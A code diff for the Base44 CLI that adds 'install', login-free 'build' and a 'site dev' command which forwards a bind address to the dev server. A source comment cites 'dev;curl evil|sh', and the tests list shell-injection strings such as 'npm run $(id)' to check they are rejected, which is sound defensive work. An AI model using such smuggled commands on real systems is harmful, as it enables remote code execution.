diff --git a/CHANGELOG.md b/CHANGELOG.md index a5510080..146f43bb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,11 @@ ### Added +- `base44 build` no longer requires a logged-in user: it resolves the app id locally and runs a local build, so a build sandbox can use it. +- `base44 install` runs the site's `installCommand` and nothing else, so a machine that only needs a project's dependencies no longer has to go through `create`, `scaffold` or `eject`. Local only: no login and no app id required. +- `base44 site dev` runs the site's `serveCommand` with no local backend, the frontend reaching its backend same-origin — the shape a hosted sandbox needs, where `base44 dev` (local backend) and `dev --remote` (the published app) are the developer-machine paths. It takes no arguments. Serving is its whole job, so it falls back to `npm run dev` when the block names none, and it binds the address from the config, forwarded to an `npm run`, `pnpm`, `yarn` or `bun run` script; a command that cannot take it is refused rather than served on a different address. +- `site.devHost`, `site.devPort` and `site.devHostFlag` say where `site dev` binds and how this project's dev server spells the bind-address flag (`--hostname` for Next, which exits on `--host`). All three default in the config schema — `0.0.0.0`, `5173`, `--host` — and the command takes no options for any of them, so `base44 site dev` needs no arguments and no caller has to know the values. Change them in `base44/config.jsonc`. `base44 dev` is unaffected: it binds nothing. + - `base44 branches list --app-id --json` lists main and active branch names for agents working outside Builder. - Global `--branch ` targets sandbox commands at a specific app branch. Names resolve within the selected app; missing or ambiguous names fail. Other commands reject the flag explicitly; omitting it or using `--branch main` targets main. diff --git a/packages/cli/src/cli/commands/dev.ts b/packages/cli/src/cli/commands/dev.ts index c4b5e6d7..92614eae 100644 --- a/packages/cli/src/cli/commands/dev.ts +++ b/packages/cli/src/cli/commands/dev.ts @@ -6,6 +6,7 @@ import { createServeCommandRunner, type ServeCommandRunnerOptions, } from "@/cli/dev/serve-command-runner.js"; +import { stopRunnerOnProcessSignals } from "@/cli/dev/stop-runner-on-signals.js"; import type { CLIContext, RunCommandResult } from "@/cli/types.js"; import { type AppIdOptions, Base44Command, theme } from "@/cli/utils/index.js"; import { getDenoWrapperPath } from "@/core/assets.js"; @@ -65,12 +66,6 @@ async function resolveConfiguredSite( return serveCommand ? { serveCommand, projectRoot: project.root } : undefined; } -function stopRunnerOnProcessSignals(runner: ServeRunner): void { - const stop = () => void runner.stop(); - process.on("SIGINT", stop); - process.on("SIGTERM", stop); -} - function startServeCommand( runner: ServeRunner, backend: { url: string; shutdown: () => Promise }, diff --git a/packages/cli/src/cli/commands/project/build.ts b/packages/cli/src/cli/commands/project/build.ts index 747329ce..715174b5 100644 --- a/packages/cli/src/cli/commands/project/build.ts +++ b/packages/cli/src/cli/commands/project/build.ts @@ -26,7 +26,10 @@ async function buildAction(ctx: CLIContext): Promise { } export function getBuildCommand(): Command { - return new Base44Command("build") + // No API call: the app id comes from --app-id, BASE44_APP_ID or .app.jsonc and + // is injected into a local build, so a machine that has never logged in (a + // build sandbox) can run it. + return new Base44Command("build", { requireAuth: false }) .description("Build the site with the Base44 app id injected") .action(buildAction); } diff --git a/packages/cli/src/cli/commands/project/install.ts b/packages/cli/src/cli/commands/project/install.ts new file mode 100644 index 00000000..94f29956 --- /dev/null +++ b/packages/cli/src/cli/commands/project/install.ts @@ -0,0 +1,47 @@ +import type { Command } from "commander"; +import { execa } from "execa"; +import type { CLIContext, RunCommandResult } from "@/cli/types.js"; +import { Base44Command, theme } from "@/cli/utils/index.js"; +import { ConfigNotFoundError } from "@/core/errors.js"; +import { readProjectConfig } from "@/core/project/index.js"; + +async function installAction({ + runTask, +}: CLIContext): Promise { + const { project } = await readProjectConfig(); + const installCommand = project.site?.installCommand; + if (!installCommand) { + throw new ConfigNotFoundError("No site install command found.", { + hints: [ + { + message: + 'Add a \'site\' block to your config.jsonc (e.g., "site": { "installCommand": "npm ci" }). Inside one, installCommand defaults to "npm install".', + }, + ], + }); + } + + await runTask( + "Installing site dependencies...", + () => execa({ cwd: project.root, shell: true })`${installCommand}`, + { + successMessage: "Dependencies installed", + errorMessage: "Install failed", + }, + ); + + return { + outroMessage: `Installed with ${theme.styles.bold(installCommand)}`, + }; +} + +export function getInstallCommand(): Command { + // Local only: no app to resolve and no API to call, so a machine that has + // never logged in (a build sandbox) can still install a project. + return new Base44Command("install", { + requireAuth: false, + requireAppContext: false, + }) + .description("Install the site's dependencies with its configured command") + .action(installAction); +} diff --git a/packages/cli/src/cli/commands/site/dev.ts b/packages/cli/src/cli/commands/site/dev.ts new file mode 100644 index 00000000..eaaad9e3 --- /dev/null +++ b/packages/cli/src/cli/commands/site/dev.ts @@ -0,0 +1,68 @@ +import type { Command } from "commander"; +import { createServeCommandRunner } from "@/cli/dev/serve-command-runner.js"; +import { stopRunnerOnProcessSignals } from "@/cli/dev/stop-runner-on-signals.js"; +import type { CLIContext, RunCommandResult } from "@/cli/types.js"; +import { Base44Command } from "@/cli/utils/index.js"; +import { ConfigInvalidError, InvalidInputError } from "@/core/errors.js"; +import { readProjectConfig } from "@/core/project/index.js"; +import { + DEFAULT_SERVE_COMMAND, + withServeAddress, +} from "@/core/site/serve-command.js"; + +async function siteDevAction(ctx: CLIContext): Promise { + const { app } = ctx; + // Same shape as `base44 build`: the framework's own app-context step has + // already refused with actionable hints, so this is the type's guard. + if (!app?.projectRoot) { + throw new ConfigInvalidError( + "base44 site dev requires a linked local project. Run it from a project with base44/.app.jsonc.", + ); + } + + const { project } = await readProjectConfig(app.projectRoot); + const site = project.site; + if (!site) { + throw new InvalidInputError( + "This project has no 'site' block in base44/config.jsonc, so there is no frontend to serve. Add one naming its serveCommand; site dev falls back to \"npm run dev\".", + ); + } + + // Serving is this command's whole job, so an unnamed dev server is a + // convention rather than "nothing to run". Everything else comes from the + // config, which is why this command takes no arguments for it. + const serveCommand = site.serveCommand ?? DEFAULT_SERVE_COMMAND; + const { command, droppedAddress } = withServeAddress(serveCommand, { + host: site.devHost, + port: site.devPort, + hostFlag: site.devHostFlag, + }); + // An address that cannot be delivered is a failure, not a warning: the caller + // is usually a sandbox, and it would otherwise get a preview on some other + // port and a zero exit status saying everything worked. + if (droppedAddress) { + throw new InvalidInputError( + `serveCommand '${serveCommand}' takes no forwarded arguments, so the bind address cannot be passed to it. Bind it inside serveCommand itself, or use an 'npm run', 'pnpm', 'yarn' or 'bun run' script.`, + ); + } + + const runner = createServeCommandRunner({ + serveCommand: command, + projectRoot: project.root, + appId: app.id, + }); + stopRunnerOnProcessSignals(runner); + runner.onExit((code) => process.exit(code ?? 1)); + runner.start(); + + return { outroMessage: `Frontend dev server running '${command}'` }; +} + +export function getSiteDevCommand(): Command { + // The frontend alone, reaching its backend same-origin — what a hosted sandbox + // needs. `base44 dev` is the developer-machine command: it also runs the + // backend, locally or (with --remote) the app's published one. + return new Base44Command("dev", { requireAuth: false }) + .description("Run the site's dev server, with no local backend") + .action(siteDevAction); +} diff --git a/packages/cli/src/cli/commands/site/index.ts b/packages/cli/src/cli/commands/site/index.ts index 2850e360..68b96ea4 100644 --- a/packages/cli/src/cli/commands/site/index.ts +++ b/packages/cli/src/cli/commands/site/index.ts @@ -1,10 +1,12 @@ import { Command } from "commander"; import { getSiteDeployCommand } from "./deploy.js"; +import { getSiteDevCommand } from "./dev.js"; import { getSiteOpenCommand } from "./open.js"; export function getSiteCommand(): Command { return new Command("site") .description("Manage app site (frontend app)") .addCommand(getSiteDeployCommand()) + .addCommand(getSiteDevCommand()) .addCommand(getSiteOpenCommand()); } diff --git a/packages/cli/src/cli/dev/serve-command-runner.ts b/packages/cli/src/cli/dev/serve-command-runner.ts index ce073eea..7a8603d4 100644 --- a/packages/cli/src/cli/dev/serve-command-runner.ts +++ b/packages/cli/src/cli/dev/serve-command-runner.ts @@ -6,7 +6,10 @@ export interface ServeCommandRunnerOptions { serveCommand: string; projectRoot: string; appId: string; - appBaseUrl: string; + /** Omitted when the caller has no backend to name — a frontend that reaches its + * backend same-origin (the Base44 vite plugin proxies `/api`) must not be told + * one, or the SDK would call across origins instead. */ + appBaseUrl?: string; } export function createServeCommandRunner({ @@ -20,7 +23,7 @@ export function createServeCommandRunner({ cwd: projectRoot, env: { VITE_BASE44_APP_ID: appId, - VITE_BASE44_APP_BASE_URL: appBaseUrl, + ...(appBaseUrl ? { VITE_BASE44_APP_BASE_URL: appBaseUrl } : {}), }, logger: createDevLogger("frontend", theme.colors.base44Orange), }); diff --git a/packages/cli/src/cli/dev/stop-runner-on-signals.ts b/packages/cli/src/cli/dev/stop-runner-on-signals.ts new file mode 100644 index 00000000..31b73810 --- /dev/null +++ b/packages/cli/src/cli/dev/stop-runner-on-signals.ts @@ -0,0 +1,9 @@ +import process from "node:process"; +import type { ServeRunner } from "@/cli/dev/dev-server/serve-runner.js"; + +/** Tear the dev server down on Ctrl-C and on a terminating signal. */ +export function stopRunnerOnProcessSignals(runner: ServeRunner): void { + const stop = () => void runner.stop(); + process.on("SIGINT", stop); + process.on("SIGTERM", stop); +} diff --git a/packages/cli/src/cli/program.ts b/packages/cli/src/cli/program.ts index 070dfc74..647b098e 100644 --- a/packages/cli/src/cli/program.ts +++ b/packages/cli/src/cli/program.ts @@ -14,6 +14,7 @@ import { getFunctionsCommand } from "@/cli/commands/functions/index.js"; import { getBuildCommand } from "@/cli/commands/project/build.js"; import { getCreateCommand } from "@/cli/commands/project/create.js"; import { getDeployCommand } from "@/cli/commands/project/deploy.js"; +import { getInstallCommand } from "@/cli/commands/project/install.js"; import { getLinkCommand } from "@/cli/commands/project/link.js"; import { getLogsCommand } from "@/cli/commands/project/logs.js"; import { getScaffoldCommand } from "@/cli/commands/project/scaffold.js"; @@ -77,6 +78,7 @@ export function createProgram(context: CLIContext): Command { program.addCommand(getCreateCommand()); program.addCommand(getScaffoldCommand()); program.addCommand(getDashboardCommand()); + program.addCommand(getInstallCommand()); program.addCommand(getBuildCommand()); program.addCommand(getDeployCommand()); program.addCommand(getVisibilityCommand()); diff --git a/packages/cli/src/core/project/schema.ts b/packages/cli/src/core/project/schema.ts index 76080d5d..e35248e0 100644 --- a/packages/cli/src/core/project/schema.ts +++ b/packages/cli/src/core/project/schema.ts @@ -27,6 +27,18 @@ const SiteConfigSchema = z.object({ serveCommand: z.string().optional(), outputDirectory: z.string().optional(), installCommand: z.string().default("npm install"), + // Where `site dev` binds and how this project's dev server spells the + // bind-address flag: `--host` for Vite/Astro/Nuxt, `--hostname` for Next, + // which exits on `--host`. The port flag itself is not configurable, because + // every dev server spells it `--port`. + // + // Config rather than command-line options, so the caller needs to know none of + // it: `base44 site dev` takes no arguments and reads every decision from here. + // `0.0.0.0` is the address a hosted sandbox needs, its preview being reached + // from outside the container; narrow it where binding the LAN matters. + devHostFlag: z.string().default("--host"), + devHost: z.string().default("0.0.0.0"), + devPort: z.number().int().min(1).max(65535).default(5173), }); const PluginMetadataSchema = z.object({ diff --git a/packages/cli/src/core/site/index.ts b/packages/cli/src/core/site/index.ts index f36431f2..5fa1e16d 100644 --- a/packages/cli/src/core/site/index.ts +++ b/packages/cli/src/core/site/index.ts @@ -6,5 +6,6 @@ export * from "./git-hash.js"; export * from "./manifest.js"; export * from "./modules.js"; export * from "./schema.js"; +export * from "./serve-command.js"; export * from "./upload.js"; export * from "./wrangler-config.js"; diff --git a/packages/cli/src/core/site/serve-command.ts b/packages/cli/src/core/site/serve-command.ts new file mode 100644 index 00000000..fec6f256 --- /dev/null +++ b/packages/cli/src/core/site/serve-command.ts @@ -0,0 +1,66 @@ +/** + * What to run when a project has a site but names no dev server. Not a schema + * default: `base44 dev` reads an absent `serveCommand` as "no frontend to run + * here", so only a command that exists purely to serve one may assume this. + */ +export const DEFAULT_SERVE_COMMAND = "npm run dev"; + +// A script name and a `--prefix` path, as charsets rather than `\S+`: the latter +// matches `dev;curl evil|sh`, so the predicate would answer "yes, this forwards +// arguments" for a line whose second command is what receives them. +const SCRIPT = "[A-Za-z0-9:_.-]+"; +const PREFIX = "[A-Za-z0-9._/-]+"; + +// Each package manager that forwards extra arguments to the script it runs, and +// what it needs between the script and those arguments. npm consumes them itself +// without `--`; the other three pass anything after the script name straight +// through. A bare binary (`vite`, `next dev`) is absent on purpose — it would +// read a literal `--` as its own argument. +const SCRIPT_RUNNERS: { pattern: RegExp; separator: string }[] = [ + { + pattern: new RegExp( + String.raw`^npm(\s+--prefix\s+${PREFIX})?\s+run\s+${SCRIPT}$`, + ), + separator: " -- ", + }, + { + pattern: new RegExp(String.raw`^(?:pnpm|yarn|bun)(\s+run)?\s+${SCRIPT}$`), + separator: " ", + }, +]; + +interface ServeAddress { + /** Address to bind, e.g. `0.0.0.0` so something outside the machine can reach it. */ + host: string; + port: number; + /** How this dev server spells its bind-address flag. */ + hostFlag: string; +} + +function runnerFor(serveCommand: string) { + return SCRIPT_RUNNERS.find((runner) => runner.pattern.test(serveCommand)); +} + +/** + * `serveCommand` with a bind address appended, and whether the address had to be + * dropped because the command is not a shape arguments can be forwarded through. + * + * Returned together so a caller cannot mistake "there was no address to append" + * for "the address went nowhere" — the difference between the two is a preview + * that never loads. + */ +export function withServeAddress( + serveCommand: string, + { host, port, hostFlag }: ServeAddress, +): { command: string; droppedAddress: boolean } { + const command = serveCommand.trim(); + const args = [hostFlag, host, "--port", String(port)]; + const runner = runnerFor(command); + if (!runner) { + return { command, droppedAddress: true }; + } + return { + command: `${command}${runner.separator}${args.join(" ")}`, + droppedAddress: false, + }; +} diff --git a/packages/cli/tests/cli/build.spec.ts b/packages/cli/tests/cli/build.spec.ts index bb05dc6c..defa0833 100644 --- a/packages/cli/tests/cli/build.spec.ts +++ b/packages/cli/tests/cli/build.spec.ts @@ -15,6 +15,15 @@ describe("build command", () => { ); }); + it("builds without a logged-in user", async () => { + // A build sandbox has an app id and a checkout, never a session. + await t.givenProject(fixture("with-buildable-site")); + + const result = await t.run("build"); + + t.expectResult(result).toSucceed(); + }); + it("falls back to the default buildCommand when the site block sets none", async () => { await t.givenLoggedInWithProject(fixture("with-site-defaults")); diff --git a/packages/cli/tests/cli/install.spec.ts b/packages/cli/tests/cli/install.spec.ts new file mode 100644 index 00000000..3d254461 --- /dev/null +++ b/packages/cli/tests/cli/install.spec.ts @@ -0,0 +1,43 @@ +import { describe, expect, it } from "vitest"; +import { fixture, setupCLITests } from "./testkit/index.js"; + +describe("install command", () => { + const t = setupCLITests(); + + it("runs the site's configured installCommand", async () => { + await t.givenLoggedInWithProject(fixture("with-installable-site")); + + const result = await t.run("install"); + + t.expectResult(result).toSucceed(); + expect(await t.readProjectFile("install-marker.txt")).toBe("installed"); + }); + + it("installs without a login", async () => { + // A build sandbox that has never logged in must still be able to install. + await t.givenProject(fixture("with-installable-site")); + + const result = await t.run("install"); + + t.expectResult(result).toSucceed(); + expect(await t.readProjectFile("install-marker.txt")).toBe("installed"); + }); + + it("fails when the installCommand fails", async () => { + await t.givenLoggedInWithProject(fixture("with-failing-install")); + + const result = await t.run("install"); + + t.expectResult(result).toFail(); + t.expectResult(result).toContain("Install failed"); + }); + + it("fails when the project has no site block", async () => { + await t.givenLoggedInWithProject(fixture("basic")); + + const result = await t.run("install"); + + t.expectResult(result).toFail(); + t.expectResult(result).toContain("No site install command found"); + }); +}); diff --git a/packages/cli/tests/cli/site_dev.spec.ts b/packages/cli/tests/cli/site_dev.spec.ts new file mode 100644 index 00000000..8a141589 --- /dev/null +++ b/packages/cli/tests/cli/site_dev.spec.ts @@ -0,0 +1,96 @@ +import { describe, expect, it } from "vitest"; +import { fixture, setupCLITests } from "./testkit/index.js"; + +describe("site dev command", () => { + const t = setupCLITests(); + + it("binds the sandbox convention when nothing names an address", async () => { + // The point of the defaults: apper runs `base44 site dev` with no arguments + // and no knowledge of what they would have been. + await t.givenLoggedInWithProject(fixture("with-npm-serve-command")); + + const handle = await t.runLive("site", "dev"); + await handle.waitForOutput(/ARGS=/); + await handle.stop(); + + expect(handle.stdout.join("")).toContain("ARGS=--host 0.0.0.0 --port 5173"); + }); + + it("binds what the config names, the only way to change it", async () => { + await t.givenLoggedInWithProject(fixture("with-dev-address")); + + const handle = await t.runLive("site", "dev"); + await handle.waitForOutput(/ARGS=/); + await handle.stop(); + + expect(handle.stdout.join("")).toContain( + "ARGS=--host 127.0.0.1 --port 4321", + ); + }); + + it("takes no address flags at all", async () => { + await t.givenLoggedInWithProject(fixture("with-npm-serve-command")); + + const result = await t.run("site", "dev", "--port", "5999"); + + t.expectResult(result).toFail(); + }); + + it("refuses an address the serveCommand cannot take", async () => { + // A bare binary would read `--` as its own argument. Failing is the point: + // the caller asked for a reachable server, and a warning plus exit 0 would + // leave a sandbox serving on some other port and reporting success. + await t.givenLoggedInWithProject(fixture("with-serve-command")); + + const result = await t.run("site", "dev"); + + t.expectResult(result).toFail(); + t.expectResult(result).toContain("takes no forwarded arguments"); + }); + + it("serves without a login", async () => { + // The whole point of the command: a build sandbox that has never logged in. + await t.givenProject(fixture("with-npm-serve-command")); + + const handle = await t.runLive("site", "dev"); + await handle.waitForOutput(/ARGS=/); + await handle.stop(); + + expect(handle.stdout.join("")).toContain("ARGS="); + }); + + it("uses the project's own spelling of the host flag", async () => { + await t.givenLoggedInWithProject(fixture("with-hostname-serve-command")); + + const handle = await t.runLive("site", "dev"); + await handle.waitForOutput(/ARGS=/); + await handle.stop(); + + expect(handle.stdout.join("")).toContain( + "ARGS=--hostname 0.0.0.0 --port 5173", + ); + }); + + it("serves the frontend same-origin, with no backend url injected", async () => { + // A sandbox frontend reaches its backend through the vite plugin's /api + // proxy, so it must not be pointed anywhere else. + await t.givenLoggedInWithProject(fixture("with-npm-serve-command")); + + const handle = await t.runLive("site", "dev"); + await handle.waitForOutput(/ARGS=/); + await handle.stop(); + + const output = handle.stdout.join(""); + expect(output).toContain(`APP=${t.api.appId}`); + expect(output).toContain("URL=undefined"); + }); + + it("fails when the project has no site block", async () => { + await t.givenLoggedInWithProject(fixture("basic")); + + const result = await t.run("site", "dev"); + + t.expectResult(result).toFail(); + t.expectResult(result).toContain("no 'site' block"); + }); +}); diff --git a/packages/cli/tests/core/project.spec.ts b/packages/cli/tests/core/project.spec.ts index 9df7ed73..41088014 100644 --- a/packages/cli/tests/core/project.spec.ts +++ b/packages/cli/tests/core/project.spec.ts @@ -31,6 +31,9 @@ describe("readProjectConfig", () => { outputDirectory: "site-output", buildCommand: "npm run build", installCommand: "npm install", + devHostFlag: "--host", + devHost: "0.0.0.0", + devPort: 5173, }); }); @@ -42,10 +45,14 @@ describe("readProjectConfig", () => { expect(result.project.site).toEqual({ buildCommand: "npm run build", installCommand: "npm install", + devHostFlag: "--host", + devHost: "0.0.0.0", + devPort: 5173, }); - // Neither defaults: their absence says "no frontend to run here" and - // "nothing built to upload", which a default would erase. + // These two never default: their absence answers a question a reader asks. + // `base44 dev` reads the first as "no frontend to run here" and `deploy` + // reads the second as "nothing built to upload". expect(result.project.site?.serveCommand).toBeUndefined(); expect(result.project.site?.outputDirectory).toBeUndefined(); }); diff --git a/packages/cli/tests/core/serve-command.spec.ts b/packages/cli/tests/core/serve-command.spec.ts new file mode 100644 index 00000000..93ffa53e --- /dev/null +++ b/packages/cli/tests/core/serve-command.spec.ts @@ -0,0 +1,91 @@ +import { describe, expect, it } from "vitest"; +import { + DEFAULT_SERVE_COMMAND, + withServeAddress, +} from "@/core/site/serve-command.js"; + +const ADDRESS = { host: "0.0.0.0", port: 5173, hostFlag: "--host" }; + +describe("withServeAddress", () => { + it("appends the address to an npm script through --", () => { + expect(withServeAddress("npm run dev", ADDRESS)).toEqual({ + command: "npm run dev -- --host 0.0.0.0 --port 5173", + droppedAddress: false, + }); + }); + + it("appends to pnpm, yarn and bun without the -- npm needs", () => { + // Those three pass anything after the script name straight through; npm + // consumes it itself. + for (const runner of [ + "pnpm dev", + "pnpm run dev", + "yarn dev", + "bun run dev", + ]) { + expect(withServeAddress(runner, ADDRESS).command).toBe( + `${runner} --host 0.0.0.0 --port 5173`, + ); + } + }); + + it("uses the project's own spelling of the host flag", () => { + // Next exits on --host. + expect( + withServeAddress("npm run dev", { + host: "0.0.0.0", + port: 5173, + hostFlag: "--hostname", + }).command, + ).toBe("npm run dev -- --hostname 0.0.0.0 --port 5173"); + }); + + it("appends a prefixed npm script too", () => { + expect( + withServeAddress("npm --prefix site run dev", { + host: "0.0.0.0", + port: 4173, + hostFlag: "--host", + }).command, + ).toBe("npm --prefix site run dev -- --host 0.0.0.0 --port 4173"); + }); + + it("trims the command it composes, not just the one it tests", () => { + expect(withServeAddress(" npm run dev ", ADDRESS).command).toBe( + "npm run dev -- --host 0.0.0.0 --port 5173", + ); + }); + + it("can take the address on the command site dev falls back to", () => { + expect( + withServeAddress(DEFAULT_SERVE_COMMAND, ADDRESS).droppedAddress, + ).toBe(false); + }); + + it.each([ + // `vite -- --host` would read the -- as vite's own argument. + "vite", + "next dev", + "npm run", + // Already pins an address of its own; appending would send two. + "npm run dev -- --port 3000", + "npm run build && npm run dev", + ])("reports the address as dropped for %s", (command) => { + expect(withServeAddress(command, ADDRESS)).toEqual({ + command, + droppedAddress: true, + }); + }); + + it.each([ + // A `\S+` script token would match all of these and hand the address to the + // second command instead of the dev server. + "npm run dev;evil", + "npm run dev&&evil", + "npm run dev|evil", + "npm run $(id)", + "npm --prefix $(id) run dev", + ])("does not treat %s as a forwarding shape", (command) => { + expect(withServeAddress(command, ADDRESS).droppedAddress).toBe(true); + }); +}); diff --git a/packages/cli/tests/fixtures/with-dev-address/base44/config.jsonc b/packages/cli/tests/fixtures/with-dev-address/base44/config.jsonc new file mode 100644 index 00000000..8191985d --- /dev/null +++ b/packages/cli/tests/fixtures/with-dev-address/base44/config.jsonc @@ -0,0 +1,8 @@ +{ + "name": "Dev Address Project", + "site": { + // The only way to change where `site dev` binds: it takes no flags for it. + "devHost": "127.0.0.1", + "devPort": 4321 + } +} diff --git a/packages/cli/tests/fixtures/with-dev-address/package.json b/packages/cli/tests/fixtures/with-dev-address/package.json new file mode 100644 index 00000000..0538221a --- /dev/null +++ b/packages/cli/tests/fixtures/with-dev-address/package.json @@ -0,0 +1,7 @@ +{ + "name": "dev-address-fixture", + "private": true, + "scripts": { + "dev": "node serve.js" + } +} diff --git a/packages/cli/tests/fixtures/with-dev-address/serve.js b/packages/cli/tests/fixtures/with-dev-address/serve.js new file mode 100644 index 00000000..a0028762 --- /dev/null +++ b/packages/cli/tests/fixtures/with-dev-address/serve.js @@ -0,0 +1,7 @@ +// Stands in for a real dev server: reports the arguments it was handed and the +// env it was given, then stays up until the runner stops it. +const args = process.argv.slice(2).join(" "); +console.log( + `ARGS=${args} APP=${process.env.VITE_BASE44_APP_ID} URL=${process.env.VITE_BASE44_APP_BASE_URL}`, +); +setInterval(() => {}, 1000); diff --git a/packages/cli/tests/fixtures/with-failing-install/base44/config.jsonc b/packages/cli/tests/fixtures/with-failing-install/base44/config.jsonc new file mode 100644 index 00000000..8718df3f --- /dev/null +++ b/packages/cli/tests/fixtures/with-failing-install/base44/config.jsonc @@ -0,0 +1,6 @@ +{ + "name": "Failing Install Project", + "site": { + "installCommand": "node -e \"process.exit(1)\"" + } +} diff --git a/packages/cli/tests/fixtures/with-failing-install/package.json b/packages/cli/tests/fixtures/with-failing-install/package.json new file mode 100644 index 00000000..e60b421b --- /dev/null +++ b/packages/cli/tests/fixtures/with-failing-install/package.json @@ -0,0 +1,5 @@ +{ + "name": "failing-install-project", + "private": true, + "version": "0.0.0" +} diff --git a/packages/cli/tests/fixtures/with-hostname-serve-command/base44/config.jsonc b/packages/cli/tests/fixtures/with-hostname-serve-command/base44/config.jsonc new file mode 100644 index 00000000..bf42b287 --- /dev/null +++ b/packages/cli/tests/fixtures/with-hostname-serve-command/base44/config.jsonc @@ -0,0 +1,7 @@ +{ + "name": "Hostname Serve Command Project", + "site": { + // Next spells it this way and exits on `--host`. + "devHostFlag": "--hostname" + } +} diff --git a/packages/cli/tests/fixtures/with-hostname-serve-command/package.json b/packages/cli/tests/fixtures/with-hostname-serve-command/package.json new file mode 100644 index 00000000..09a2876e --- /dev/null +++ b/packages/cli/tests/fixtures/with-hostname-serve-command/package.json @@ -0,0 +1,7 @@ +{ + "name": "hostname-serve-command-fixture", + "private": true, + "scripts": { + "dev": "node serve.js" + } +} diff --git a/packages/cli/tests/fixtures/with-hostname-serve-command/serve.js b/packages/cli/tests/fixtures/with-hostname-serve-command/serve.js new file mode 100644 index 00000000..a0028762 --- /dev/null +++ b/packages/cli/tests/fixtures/with-hostname-serve-command/serve.js @@ -0,0 +1,7 @@ +// Stands in for a real dev server: reports the arguments it was handed and the +// env it was given, then stays up until the runner stops it. +const args = process.argv.slice(2).join(" "); +console.log( + `ARGS=${args} APP=${process.env.VITE_BASE44_APP_ID} URL=${process.env.VITE_BASE44_APP_BASE_URL}`, +); +setInterval(() => {}, 1000); diff --git a/packages/cli/tests/fixtures/with-installable-site/base44/config.jsonc b/packages/cli/tests/fixtures/with-installable-site/base44/config.jsonc new file mode 100644 index 00000000..3996512f --- /dev/null +++ b/packages/cli/tests/fixtures/with-installable-site/base44/config.jsonc @@ -0,0 +1,6 @@ +{ + "name": "Installable Site Project", + "site": { + "installCommand": "node -e \"require('fs').writeFileSync('install-marker.txt', 'installed')\"" + } +} diff --git a/packages/cli/tests/fixtures/with-npm-serve-command/base44/config.jsonc b/packages/cli/tests/fixtures/with-npm-serve-command/base44/config.jsonc new file mode 100644 index 00000000..461fb266 --- /dev/null +++ b/packages/cli/tests/fixtures/with-npm-serve-command/base44/config.jsonc @@ -0,0 +1,7 @@ +{ + "name": "Npm Serve Command Project", + // Empty on purpose: `site dev` falls back to `npm run dev`, which is what + // forwards an address through `--`. The schema does not default it — an + // absent serveCommand is how `base44 dev` knows to run the backend alone. + "site": {} +} diff --git a/packages/cli/tests/fixtures/with-npm-serve-command/package.json b/packages/cli/tests/fixtures/with-npm-serve-command/package.json new file mode 100644 index 00000000..c69747ea --- /dev/null +++ b/packages/cli/tests/fixtures/with-npm-serve-command/package.json @@ -0,0 +1,7 @@ +{ + "name": "npm-serve-command-fixture", + "private": true, + "scripts": { + "dev": "node serve.js" + } +} diff --git a/packages/cli/tests/fixtures/with-npm-serve-command/serve.js b/packages/cli/tests/fixtures/with-npm-serve-command/serve.js new file mode 100644 index 00000000..a0028762 --- /dev/null +++ b/packages/cli/tests/fixtures/with-npm-serve-command/serve.js @@ -0,0 +1,7 @@ +// Stands in for a real dev server: reports the arguments it was handed and the +// env it was given, then stays up until the runner stops it. +const args = process.argv.slice(2).join(" "); +console.log( + `ARGS=${args} APP=${process.env.VITE_BASE44_APP_ID} URL=${process.env.VITE_BASE44_APP_BASE_URL}`, +); +setInterval(() => {}, 1000);